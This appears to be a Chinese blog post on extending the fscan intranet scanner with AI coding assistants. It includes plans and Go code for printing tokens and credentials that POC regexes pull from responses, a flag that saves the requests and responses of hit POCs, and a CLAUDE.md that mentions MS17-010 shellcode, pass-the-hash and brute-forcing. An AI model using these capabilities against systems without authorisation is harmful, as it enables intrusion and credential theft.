│ ~100 │ return success, nil, "" (Sets/cluster) │ return success, nil, "", nil │
├──────┼────────────────────────────────────────┼───────────────────────────────────────┤
│ ~193 │ return success, nil, name (Groups) │ return success, nil, name, searchVars │
├──────┼────────────────────────────────────────┼───────────────────────────────────────┤
│ ~198 │ return success, nil, "" (Rules final) │ return success, nil, "", searchVars │
└──────┴────────────────────────────────────────┴───────────────────────────────────────┘

6. Update CheckMultiPoc to display extracted variables

From:
isVul, _, name := executePoc(task.Req, task.Poc)
if isVul {
 result := fmt.Sprintf("[+] PocScan %s %s %s", task.Req.URL, task.Poc.Name, name)
 common.LogSuccess(result)
}
To:
isVul, _, name, extractedVars := executePoc(task.Req, task.Poc)
if isVul {
 result := fmt.Sprintf("[+] PocScan %s %s %s", task.Req.URL, task.Poc.Name, name)
 if len(extractedVars) > 0 {
 keys := make([]string, 0, len(extractedVars))
 for k := range extractedVars {
 keys = append(keys, k)
 }
 sort.Strings(keys)
 for _, k := range keys {
 result += fmt.Sprintf("\n * %s: %s", k, extractedVars[k])
 }
 }
 common.LogSuccess(result)
}

Design Decisions

- Sort keys alphabetically: Go map iteration is non-deterministic; sorting ensures consistent, reproducible output.
- Single LogSuccess call: Builds the full multi-line string before calling LogSuccess to prevent interleaving from concurrent goroutines.
fmt.Println/color.Red in SaveLog handle multi-line strings correctly. WriteFile also works with multi-line strings (plain text appends result + "\n";
JSON output: Go's json.Marshal escapes embedded newlines).
- Exclude unnamed groups (k != ""): doSearch can return "" as a key for unnamed capture groups; these are internal and should not appear in output.
- set variables not in searchVars: set variables are added to variableMap directly (not through doSearch), so they can never enter searchVars.
- brute-force path unchanged: clusterpoc already has its own output with credentials in tmpMap.
- Groups mode returns searchVars: For consistency, the groups path also returns searchVars (line 193) so POCs using groups format also display extracted
variables.

Verification

# Build to confirm compilation
go build -o fscan main.go

# Run against a target with a POC that uses search patterns (e.g., nacos auth bypass)
./fscan -h <target> -m webonly -poc poc-yaml-nacos-multi-check-auth-bypass

# Expected: output shows extracted variables indented below the POC result line

此处有点问题因为我还没真的写这个模板。应该让它自己写简单的测试用 yaml 和简单的服务进行测试。

Plan: Display POC Search-Extracted Variables in Output

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168


Plan: Display POC Search-Extracted Variables in Output

Context

Currently, when a POC succeeds in normal mode (rules-based), named capture groups extracted from HTTP responses via the search regex field are stored in
variableMap for use in subsequent rules but are never displayed to the user. The user wants these extracted values (e.g., access tokens, credentials)
to appear in the scan output below the POC result line:

[+] PocScan http://10.3.4.78:8848 poc-yaml-nacos-multi-check-auth-bypass
 * accessToken: xxxxxxxxxx
 * username: xxxxxxxxxx
 * password: xxxxxxxxxx

Critical File

Only one file needs modification:
/Users/veno/Projects/fscan/WebScan/lib/check.go

Implementation

1. Add "sort" import

In the import block, add "sort" (alphabetically between "regexp" and "strings").

2. Modify executePoc signature

From:
func executePoc(oReq *http.Request, p *Poc) (bool, error, string)
To:
func executePoc(oReq *http.Request, p *Poc) (bool, error, string, map[string]string)

3. Declare searchVars after variableMap (line ~80)

variableMap := make(map[string]interface{})
defer func() { variableMap = nil }()
searchVars := make(map[string]string) // ADD THIS
variableMap["request"] = req

4. Populate searchVars in DealWithRule closure

Change the search block inside DealWithRule from:
if rule.Search != "" {
 result := doSearch(rule.Search, GetHeader(resp.Headers)+string(resp.Body))
 if len(result) > 0 { // 正则匹配成功
 for k, v := range result {
 variableMap[k] = v
 }
 } else {
 return false, nil
 }
}
To:
if rule.Search != "" {
 result := doSearch(rule.Search, GetHeader(resp.Headers)+string(resp.Body))
 if len(result) > 0 { // 正则匹配成功
 for k, v := range result {
 variableMap[k] = v
 if k != "" { // only named groups; unnamed groups have empty-string key
 searchVars[k] = v
 }
 }
 } else {
 return false, nil
 }
}

5. Update all return statements in executePoc

┌──────┬────────────────────────────────────────┬───────────────────────────────────────┐
│ Line │ From │ To │
├──────┼────────────────────────────────────────┼───────────────────────────────────────┤
│ ~72 │ return false, err, "" │ return false, err, "", nil │
├──────┼────────────────────────────────────────┼───────────────────────────────────────┤
│ ~77 │ return false, err, "" │ return false, err, "", nil │
├──────┼────────────────────────────────────────┼───────────────────────────────────────┤
│ ~86 │ return false, nil, "" │ return false, nil, "", nil │
├──────┼────────────────────────────────────────┼───────────────────────────────────────┤
│ ~100 │ return success, nil, "" (Sets/cluster) │ return success, nil, "", nil │
├──────┼────────────────────────────────────────┼───────────────────────────────────────┤
│ ~193 │ return success, nil, name (Groups) │ return success, nil, name, searchVars │
├──────┼────────────────────────────────────────┼───────────────────────────────────────┤
│ ~198 │ return success, nil, "" (Rules final) │ return success, nil, "", searchVars │
└──────┴────────────────────────────────────────┴───────────────────────────────────────┘

6. Update CheckMultiPoc to display extracted variables

From:
isVul, _, name := executePoc(task.Req, task.Poc)
if isVul {
 result := fmt.Sprintf("[+] PocScan %s %s %s", task.Req.URL, task.Poc.Name, name)
 common.LogSuccess(result)
}
To:
isVul, _, name, extractedVars := executePoc(task.Req, task.Poc)
if isVul {
 result := fmt.Sprintf("[+] PocScan %s %s %s", task.Req.URL, task.Poc.Name, name)
 if len(extractedVars) > 0 {
 keys := make([]string, 0, len(extractedVars))
 for k := range extractedVars {
 keys = append(keys, k)
 }
 sort.Strings(keys)
 for _, k := range keys {
 result += fmt.Sprintf("\n * %s: %s", k, extractedVars[k])
 }
 }
 common.LogSuccess(result)
}

Design Decisions

- Sort keys alphabetically: Go map iteration is non-deterministic; sorting ensures consistent, reproducible output.
- Single LogSuccess call: Builds the full multi-line string before calling LogSuccess to prevent interleaving from concurrent goroutines.
fmt.Println/color.Red in SaveLog handle multi-line strings correctly. WriteFile also works with multi-line strings (plain text appends result + "\n";
JSON output: Go's json.Marshal escapes embedded newlines).
- Exclude unnamed groups (k != ""): doSearch can return "" as a key for unnamed capture groups; these are internal and should not appear in output.
- set variables not in searchVars: set variables are added to variableMap directly (not through doSearch), so they can never enter searchVars.
- brute-force path unchanged: clusterpoc already has its own output with credentials in tmpMap.
- Groups mode returns searchVars: For consistency, the groups path also returns searchVars (line 193) so POCs using groups format also display extracted
variables.

Verification

Step 1: Create a test POC YAML

Create /Users/veno/Projects/fscan/WebScan/pocs/poc-yaml-test-search-extract.yml:

name: poc-yaml-test-search-extract
transport: http
rules:
- method: GET
 path: /
 expression: status == 200 && body.bcontains(b"fscan-test")
 search: 'token=(?P<token>[a-z0-9]+).*?user=(?P<username>[a-zA-Z]+)'

Step 2: Start a local test HTTP server

Use Python to serve a response containing the expected fields:

python3 -c "
import http.server, socketserver
class H(http.server.BaseHTTPRequestHandler):
 def do_GET(self):
 body = b'fscan-test token=abc123def user=admin'
 self.send_response(200)
 self.end_headers()
 self.wfile.write(body)
 def log_message(self, *a): pass
with socketserver.TCPServer(('', 18080), H) as s:
 s.serve_forever()
" &

Step 3: Build and run

go build -o fscan main.go

./fscan -h 127.0.0.1:18080 -m webonly -pocname poc-yaml-test-search-extract

Expected output

[+] PocScan http://127.0.0.1:18080 poc-yaml-test-search-extract
 * token: abc123def
 * username: admin

Step 4: Cleanup

kill %1 # stop the python server
rm WebScan/pocs/poc-yaml-test-search-extract.yml

vibe 完之后看上去效果合理了。

过程中 claude 踩了两个坑，它不知道 fscan 的 yaml 会被编译进二进制，当成了 nuclei 类似的外置模板模式。以及 fscan POC 语法中 expression 必须用 response.status 和 response.body，而非裸的 status/body。一并将它补进 CLAUDE.md

提交，然后在 CLAUDE.md 修复上述错误示例。并且新增说明，fscan 的 poc 模板设计是，yaml 会被编译进二进制，因此写了新模板希望使用，需要重新编译。在 CLAUDE.md 中新补充一点，本项目基于原版新增了我们刚刚实现的 POC YAML 中允许正则提取 exp 关键字的功能相关的描述。并给出语法。

最终 CLAUDE.md 如下：

CLAUDE.md

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356


# CLAUDE.md

This file provides guidance to Claude Code (claude.ai/code) when working with code in this repository.

## 项目概述

fscan 是一个用 Go 语言编写的内网综合扫描工具。支持主机存活探测、端口扫描、服务爆破、漏洞检测（包括 MS17-010、SMB Ghost）、Web 指纹识别，以及基于 YAML 格式的 Web 漏洞扫描（兼容 xray POC 格式）。

## 构建和开发命令

### 构建

```bash
# 标准编译
go build -ldflags="-s -w" -trimpath main.go

# 可选：使用 UPX 压缩体积
upx -9 fscan.exe

# 跨平台编译示例
# Windows 64位
GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" -trimpath -o fscan_windows_amd64.exe main.go

# Linux 64位
GOOS=linux GOARCH=amd64 go build -ldflags="-s -w" -trimpath -o fscan_linux_amd64 main.go

# macOS 64位
GOOS=darwin GOARCH=amd64 go build -ldflags="-s -w" -trimpath -o fscan_darwin_amd64 main.go

# macOS ARM64 (Apple Silicon)
GOOS=darwin GOARCH=arm64 go build -ldflags="-s -w" -trimpath -o fscan_darwin_arm64 main.go
```

### 编译参数说明

fscan 使用标准 Go 编译工具链，支持以下编译优化：

**ldflags 参数**：

- `-s`：去除符号表（strip symbol table），减小二进制文件大小
- `-w`：去除 DWARF 调试信息（strip debug info），进一步减小文件大小
- 组合使用 `-ldflags="-s -w"` 可显著减小可执行文件体积（约减少 30-40%）

**trimpath 参数**：

- `-trimpath`：从生成的可执行文件中删除所有文件系统路径
- 提高二进制文件的可重现性和安全性（不泄露本地路径信息）

**构建约束（Build Tags）**：

- fscan 代码库未使用构建标签（build tags），所有功能在所有平台上统一编译
- 跨平台兼容性通过 Go 标准库的平台抽象实现（如 `runtime.GOOS`、`runtime.GOARCH`）
- ICMP 功能在不同平台上使用 `golang.org/x/net/icmp` 包实现跨平台支持
- 某些功能在特定平台上有限制（如 ICMP 需要管理员权限）

**嵌入式资源（Embed）**：

- WebScan 模块使用 `//go:embed pocs` 将 380+ 个 YAML POC 文件嵌入到二进制文件中
- 编译时会自动打包 `WebScan/pocs/` 目录下的所有文件
- 无需额外的资源文件即可分发单个可执行文件

### 常用编译命令组合

```bash
# 开发调试版本（保留调试信息）
go build -o fscan main.go

# 生产发布版本（体积优化）
go build -ldflags="-s -w" -trimpath -o fscan main.go

# 交叉编译所有主流平台
for GOOS in darwin linux windows; do
 for GOARCH in 386 amd64 arm64; do
 # 跳过不支持的组合
 if [ "$GOOS" = "darwin" ] && [ "$GOARCH" = "386" ]; then continue; fi

 output_name="fscan_${GOOS}_${GOARCH}"
 if [ "$GOOS" = "windows" ]; then
 output_name="${output_name}.exe"
 fi

 echo "Building $output_name..."
 GOOS=$GOOS GOARCH=$GOARCH go build -ldflags="-s -w" -trimpath -o $output_name main.go
 done
done

# 编译后使用 UPX 进一步压缩（可选）
upx -9 fscan_*
```

### 依赖管理

```bash
# 下载依赖
go mod download

# 整理依赖（移除未使用的依赖）
go mod tidy

# 验证依赖
go mod verify

# 查看依赖树
go mod graph
```

### 运行

```bash
# 基本扫描
go run main.go -h 192.168.1.1/24

# 指定模块
go run main.go -h 192.168.1.1/24 -m ssh

# 指定端口
go run main.go -h 192.168.1.1/24 -p 22,80,443
```

### 测试

该代码库不包含单元测试。测试通过针对目标环境的手动执行完成。

## 架构总览

### 主要执行流程

1. **输入解析** (`common` 包)：解析命令行参数、IP 范围、端口范围和配置
2. **主机发现** (`Plugins/icmp.go`)：ICMP ping 扫描识别存活主机（可用 `-np` 跳过）
3. **端口扫描** (`Plugins/portscan.go`)：对存活主机进行 TCP 端口扫描
4. **服务检测** (`Plugins/*`)：针对特定协议的扫描和密码爆破
5. **Web 扫描** (`WebScan` 包)：指纹识别和基于 POC 的漏洞检测
6. **输出结果** (`common/log.go`)：结果输出到控制台，可选保存到文件

### 包结构

- **`main.go`**：程序入口，初始化 HostInfo，解析参数，调用 Plugins.Scan()

- **`common/`**：共享配置和工具函数
 - `flag.go`：命令行参数定义
 - `config.go`：默认字典、端口列表和全局状态（版本号、用户字典、密码字典、端口列表）
 - `ParseIP.go`：IP 范围解析（支持 CIDR、范围格式如 192.168.1.1-255、逗号分隔）
 - `ParsePort.go`：端口范围解析
 - `log.go`：带颜色输出的日志记录
 - `proxy.go`：HTTP/SOCKS5 代理配置

- **`Plugins/`**：服务特定的扫描模块
 - `scanner.go`：主调度器，将主机/端口路由到相应的插件
 - `portscan.go`：TCP 端口扫描器
 - `icmp.go`：ICMP ping 扫描用于主机发现
 - `base.go`：PluginList 映射表，注册端口号到扫描函数（如 "22" -> SshScan）
 - 服务扫描器：`ssh.go`、`smb.go`、`mysql.go`、`redis.go`、`ftp.go`、`mssql.go`、`postgres.go`、`oracle.go`、`rdp.go`、`mongodb.go`、`memcached.go`
 - 漏洞利用模块：`ms17010.go`、`ms17010-exp.go`、`CVE-2020-0796.go`（SMB Ghost）
 - `NetBIOS.go`：NetBIOS 枚举和域控识别
 - `webtitle.go`：HTTP 标题抓取和基础 Web 指纹识别
 - `fcgiscan.go`：FastCGI 协议扫描

- **`WebScan/`**：Web 漏洞扫描
 - `WebScan.go`：主入口，从嵌入式文件系统或自定义路径加载 POC
 - `InfoScan.go`：指纹检测
 - `lib/`：POC 引擎实现
 - `check.go`：指纹匹配和 POC 过滤
 - `eval.go`：CEL（通用表达式语言）表达式求值，用于 POC 规则
 - `client.go`：支持代理的 HTTP 客户端
 - `http.pb.go`：HTTP 请求/响应的 Protobuf 定义
 - `pocs/`：包含 380+ 个 YAML POC 文件的目录（使用 `//go:embed` 在编译时嵌入）

### 插件注册系统

插件在 `Plugins/base.go` 中通过 `PluginList` 映射表注册：

```go
var PluginList = map[string]interface{}{
 "22": SshScan,
 "3306": MysqlScan,
 "1000001": MS17010, // 漏洞利用的特殊端口号
 "1000003": WebTitle, // Web 扫描
 // ...
}
```

扫描器使用反射根据检测到的端口动态调用相应的函数。

### 并发模型

- 主协程池由 `-t` 参数控制（默认：600 个线程）
- `scanner.go` 中的 AddScan 函数使用基于 channel 的信号量限制并发扫描
- 每个服务扫描在自己的 goroutine 中运行
- WaitGroups 确保所有扫描在程序退出前完成
- Mutex 保护共享计数器（common.Num、common.End）

### 重要扫描模式（`-m` 参数）

- `all`（默认）：运行所有模块（ICMP → 端口扫描 → 服务扫描 → Web 扫描）
- `portscan`：仅执行端口扫描
- `icmp`：仅执行主机发现
- `webonly`：跳过端口扫描，直接探测常见 Web 端口的 HTTP/HTTPS
- `ssh`、`mysql`、`redis` 等：针对特定服务
- `ms17010`：扫描 MS17-010 漏洞

### 端口组

`common/config.go` 中的 `PortGroup` 映射定义了预设端口集：

- `main`：常用端口（21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017）
- `db`：数据库端口
- `web`：Web 端口的扩展列表（80、8080、8443 等）
- `service`：常见服务端口

### Web POC 系统

- POC 是兼容 xray 格式的 YAML 文件
- 从嵌入式文件系统（`WebScan/pocs/`）或自定义路径（`-pocpath`）加载
- 使用 CEL 表达式进行匹配和提取
- 支持基于指纹的 POC 选择（仅根据检测到的 CMS/框架运行相关 POC）
- 通过 `-num` 参数限速（默认：20 个并发 POC 检查）

### WebScan 模块架构

WebScan 负责 Web 漏洞扫描，采用 CEL 表达式引擎和模块化设计。

#### 核心组件

- **WebScan.go**：主入口，从 `//go:embed pocs` 或 `-pocpath` 加载 POC，根据指纹过滤并并发执行
- **InfoScan.go**：指纹识别，包含 260+ 条规则（WAF、OA、中间件、CMS），支持 body/headers/cookie 正则匹配
- **lib/check.go**：POC 执行引擎
 - 普通模式：按顺序执行 rules
 - 爆破模式：使用 `sets` 字典生成笛卡尔积（如 Tomcat 弱口令、Shiro key）
 - 支持变量替换 `{{variable}}`、命名捕获组 `(?P<name>...)`、MD5 去重
- **lib/eval.go**：CEL 表达式引擎，30+ 自定义函数
 - 字符串：`bcontains`、`icontains`、`substr`、`startsWith`
 - 编码：`base64`、`urlencode`、`hexdecode`
 - 特殊：`shirokey`、`TDdate`（通达 OA）、`wait`（DNSLog）
- **lib/client.go**：HTTP 客户端，TLS 1.0+，支持 HTTP/SOCKS5 代理，连接池配置
- **info/rules.go**：指纹规则库和 POC 映射表（指纹 -> POC 别名）

#### 工作流程

1. 指纹识别：正则匹配 headers 和 body
2. POC 过滤：根据指纹查询 `PocDatas`，过滤相关 POC
3. 并发执行：worker 池（`-num` 控制）执行 POC，评估 CEL 表达式
4. 结果输出：`[+] PocScan <URL> <POC名称>` 及 `search` 提取的命名变量（每行 ` * key: value`）

#### POC YAML 格式

```yaml
name: poc-yaml-example
set:
 - key: var
 value: "value"
sets: # 爆破字典（可选）
 - key: user
 value: ["admin", "root"]
rules:
 - method: POST
 path: /api/login
 body: '{"user":"{{user}}"}'
 search: '"token":"(?P<token>.*?)"' # 命名捕获组
 expression: response.status == 200 && response.body.bcontains(b'success')
```

#### search 字段：正则提取并展示关键变量（本项目扩展）

原版 xray 格式的 `search` 字段仅用于提取命名捕获组并注入到后续 rule 的变量替换中。本项目在此基础上扩展：**所有命名捕获组的值会在 POC 命中时一并打印到输出**，适用于提取 accessToken、凭据、版本号等敏感信息。

**语法**：在任意 rule 中添加 `search` 字段，使用 Python 风格的命名捕获组 `(?P<name>...)`：

```yaml
name: poc-yaml-example-with-extraction
transport: http
rules:
 - method: POST
 path: /api/auth
 body: '{"username":"admin","password":"admin"}'
 search: '"accessToken":"(?P<accessToken>[^"]+)".*?"username":"(?P<username>[^"]+)"'
 expression: response.status == 200 && response.body.bcontains(b'accessToken')
```

命中时输出格式：

```
[+] PocScan http://10.0.0.1:8848 poc-yaml-example-with-extraction
 * accessToken: eyJhbGc...
 * username: nacos
```

**说明**：
- `search` 匹配范围为 `响应头 + 响应体` 的拼接字符串
- 多个 rule 中的 `search` 均会被收集，后续 rule 提取的变量会覆盖同名变量
- 提取的变量同时注入 `variableMap`，可在后续 rule 中通过 `{{varName}}` 引用
- key 按字母序排列输出，空 key（未命名组）自动忽略
- 实现位置：`WebScan/lib/check.go`，函数 `executePoc` 和 `CheckMultiPoc`

#### 特殊机制

- Shiro POC 默认测试 10 个 key（`-full` 测试 100 个），位置：lib/check.go:283
- DNSLog 支持使用 ceye.io，需 `-dns` 参数
- 基于指纹的智能过滤减少无效请求

## 常见开发模式

### 添加新的服务插件

1. 创建 `Plugins/newservice.go`，函数签名为：`func NewServiceScan(info *common.HostInfo)`
2. 在 `Plugins/base.go` 的 PluginList 中注册：`"PORT": NewServiceScan`
3. 在 `common/config.go` 的 PORTList 和 PortGroup 中添加默认端口
4. 如适用，在 `Userdict` 中添加默认凭据

### 添加新的 POC

在 `WebScan/pocs/` 目录中放置 YAML 文件。示例结构：

```yaml
name: poc-name
transport: http
rules:
 - method: GET
 path: /vulnerable/path
 expression: response.status == 200 && response.body.bcontains(b'marker')
```

> **注意**：POC YAML 文件通过 `//go:embed pocs` 在**编译期**嵌入二进制。新增或修改 POC 后，必须重新编译才能生效：
>
> ```bash
> go build -ldflags="-s -w" -trimpath -o fscan main.go
> ```
>
> 如需在不重新编译的情况下临时加载外部 POC，可使用 `-pocpath <目录>` 参数从文件系统加载。

### 错误处理

- 大多数函数使用 `defer recover()` 捕获 panic
- 通过 `common.LogError()` 和 `common.LogSuccess()` 记录错误
- 静默模式（`-silent`）抑制实时输出，用于自动化工具

## 关键全局变量

- `common.Threads`：并发扫描线程数
- `common.Timeout`：TCP 连接超时（默认：3秒）
- `common.WebTimeout`：HTTP 请求超时（默认：5秒）
- `common.NoPing`：跳过 ICMP 主机发现
- `common.NoPoc`：跳过 Web 漏洞扫描
- `common.IsBrute`：跳过密码爆破

## 值得注意的实现细节

- **IP 解析**：支持 /8 范围的智能采样（扫描每个 C 段的 .1 和 .254，加上随机 IP）
- **ICMP 实现**：使用原始套接字和自定义 ICMP 数据包构造（在 Linux/Windows 上需要 root/管理员权限）
- **密码爆破**：默认串行；使用 `-br N` 进行并发尝试（注意账户锁定）
- **MS17-010 利用**：内置 shellcode 生成用于添加用户（`-sc add`），但 README 推荐使用专用工具
- **代理支持**：HTTP 代理（`-proxy`）用于 Web 扫描；SOCKS5（`-socks5`）用于 TCP 连接（并非所有模块都支持）
- **哈希认证**：支持 SMB 的 pass-the-hash（`-hash`）和 WMI 执行

## 安全和授权上下文

此工具专为经授权的渗透测试和安全评估而设计。README 包含了全面的免责声明，要求在使用前获得合法授权。修改漏洞利用模块（ms17010-exp.go 等）时，请确保更改符合道德使用约束。

通过参数保存 http 请求包和响应包

这里的功能感觉不是很复杂，并且架构相关内容已经被 Claude Sonnet 4.6 理清楚了，换了个便宜且快的模型 MiniMax-M2.5 ~~(其实是 Claude 用到限流了)~~。因为只有 10B，平时用起来响应真的快。

先检查了一下文档，发现似乎好像有一些关于输出系统的描述。如果已经有这个功能的话，就不要重复实现了，记录一下怎么用就行。让 M2.5 帮我先查一下。

检查 https://fscan.club/#/docs 和 fscan –help 中关于输出系统的描述，确认其中将 http 请求响应包保存为文件的描述。如果不存在此功能，请参考分类输出，使用类似的参数风格，新增命令行参数，允许用户保存 poc 触发时所使用的 http 请求响应，注意并不是保存所有扫描的 http 请求响应。之后启动一个 python 服务，编写测试用 poc-yaml，测试该参数。在一切确认完成之后，在 CLAUDE.md 中精简描述新增的这一功能。

POC 请求响应保存功能实现计划

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164


POC 请求响应保存功能实现计划

背景

用户希望在 fscan 中新增功能：当 POC 扫描命中漏洞时，能够保存触发漏洞所使用的 HTTP 请求和响应到本地文件。

经检查：
- https://fscan.club/#/docs 网站无有用内容
- fscan --help 中无此功能描述
- 当前 fscan 版本（1.8.4）不支持保存 HTTP 请求响应

实现方案

1. 新增命令行参数

参考现有参数风格（单破折号 - 前缀），新增：

// common/flag.go 第70行附近
flag.StringVar(&PocSavePath, "hs", "", "save poc http request and response to file when poc hits")

参数说明：
- -hs: http save，指定保存目录路径（当 POC 命中时自动创建文件）

2. 定义全局变量

// common/config.go 第134行附近
var PocSavePath string // 保存目录路径

3. 核心实现

3.1 修改 executePoc 函数签名

在 WebScan/lib/check.go 中，修改 executePoc 函数返回额外信息：

// 修改前
func executePoc(oReq *http.Request, p *Poc) (bool, error, string, map[string]string)

// 修改后
func executePoc(oReq *http.Request, p *Poc) (bool, error, string, map[string]string, *http.Request, *Response)

返回的两个额外值为：
- *http.Request: 最后执行的请求（用于保存）
- *Response: 最后执行的响应（用于保存）

3.2 修改 CheckMultiPoc 函数

在 CheckMultiPoc 函数（第29-64行）中：
1. 接收返回的 request 和 response
2. 当 isVul 为 true 且 PocSavePath 不为空时，保存请求响应

3.3 保存函数实现

创建保存函数 savePocHttpInfo：

func savePocHttpInfo(req *http.Request, resp *Response, pocName, savePath string) error {
 // 1. 创建目录（如果不存在）
 os.MkdirAll(savePath, 0755)

 // 2. 生成文件名
 urlHash := md5.Sum([]byte(req.URL.String()))
 timestamp := time.Now().Unix()
 filename := fmt.Sprintf("%s_%x_%d.txt", pocName, urlHash, timestamp)
 filepath := filepath.Join(savePath, filename)

 // 3. 格式化请求响应内容
 var content strings.Builder
 content.WriteString("============== Request ==============\n")
 content.WriteString(fmt.Sprintf("%s %s HTTP/1.1\n", req.Method, req.URL.RequestURI()))
 content.WriteString(fmt.Sprintf("Host: %s\n", req.Host))
 for k, v := range req.Header {
 content.WriteString(fmt.Sprintf("%s: %s\n", k, strings.Join(v, ", ")))
 }
 if req.Body != nil {
 body, _ := io.ReadAll(req.Body)
 content.WriteString("\n")
 content.WriteString(string(body))
 }

 content.WriteString("\n\n============== Response ==============\n")
 content.WriteString(fmt.Sprintf("HTTP/1.1 %d %s\n", resp.Status, http.StatusText(resp.Status)))
 for k, v := range resp.Headers {
 content.WriteString(fmt.Sprintf("%s: %s\n", k, v))
 }
 content.WriteString("\n")
 content.WriteString(string(resp.Body))

 // 4. 写入文件
 return os.WriteFile(filepath, []byte(content.String()), 0644)
}

4. 文件命名策略

为避免文件名冲突和覆盖，使用：
{poc_name}_{md5(url)}_{timestamp}.txt

例如：poc-weblogic_1a2b3c4d_1709000000.txt

5. 关键代码位置

┌──────────────────────┬────────┬───────────────────────────────────────┐
│ 文件 │ 行号 │ 修改内容 │
├──────────────────────┼────────┼───────────────────────────────────────┤
│ common/flag.go │ ~70 │ 添加 -hs 参数定义 │
├──────────────────────┼────────┼───────────────────────────────────────┤
│ common/config.go │ ~134 │ 添加 PocSavePath 变量 │
├──────────────────────┼────────┼───────────────────────────────────────┤
│ WebScan/lib/check.go │ ~66 │ 修改 executePoc 函数签名和返回 │
├──────────────────────┼────────┼───────────────────────────────────────┤
│ WebScan/lib/check.go │ ~29-64 │ 修改 CheckMultiPoc 函数调用和保存逻辑 │
├──────────────────────┼────────┼───────────────────────────────────────┤
│ WebScan/lib/check.go │ 新增 │ 添加 savePocHttpInfo 函数 │
└──────────────────────┴────────┴───────────────────────────────────────┘

6. 依赖

需要添加以下 import：
import (
 "crypto/md5"
 "path/filepath"
 "time"
)

测试计划

6.1 启动 Python HTTP 测试服务

# 创建简单的 Python HTTP 服务
python3 -m http.server 8080

6.2 编写测试 POC YAML

在 WebScan/pocs/ 或使用 -pocpath 指定目录，创建测试 POC：

name: poc-test-save-http
set:
- key: test
 value: "test"
rules:
- method: GET
 path: /test
 expression: response.status == 200 && response.body.bcontains(b"test")

6.3 运行测试

fscan -hs ./poc-output -u http://localhost:8080 -pocname poc-test-save-http

6.4 验证

1. 检查 ./poc-output 目录是否生成文件
2. 验证文件内容包含完整的请求和响应

CLAUDE.md 更新

在 CLAUDE.md 的 "Web POC 系统" 部分添加：

#### POC 请求响应保存

当 POC 命中时，可使用 `-hs <目录>` 参数保存触发漏洞的 HTTP 请求和响应：

```bash
fscan -hs ./poc-output -u http://target.com -pocname weLOGIC
```

命中后会在指定目录生成 {poc_name}_{url_hash}_{timestamp}.txt 文件，包含完整的请求头/请求体和响应头/响应体。

M2.5 完美完成任务，可以用这样的指令

1

./fscan -hs ./poc-output -u http://target.com -pocname poc-yaml-name

效果如图：

Skill 自动化

从 payload 生成 fscan poc yaml

二次开发工作完成之后，不再需要关心代码结构。因此先清理一下 CLAUDE.md

清理 CLAUDE.md 中关于代码架构描述的部分，将它清理到其他 markdown 文件, 只保留项目后续被使用时需要被关注的设计要点，以及我们新增的两个功能内容，即 -hs 参数和新增的 poc yaml 语法。

精简 CLAUDE.md 并迁移架构文档

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57


CLAUDE.md 目前包含大量代码架构细节（包结构、并发模型、插件注册等），导致文件冗长，不易快速查阅。用户希望将这些内容迁移至独立文档，让 CLAUDE.md 只保留两类内容：

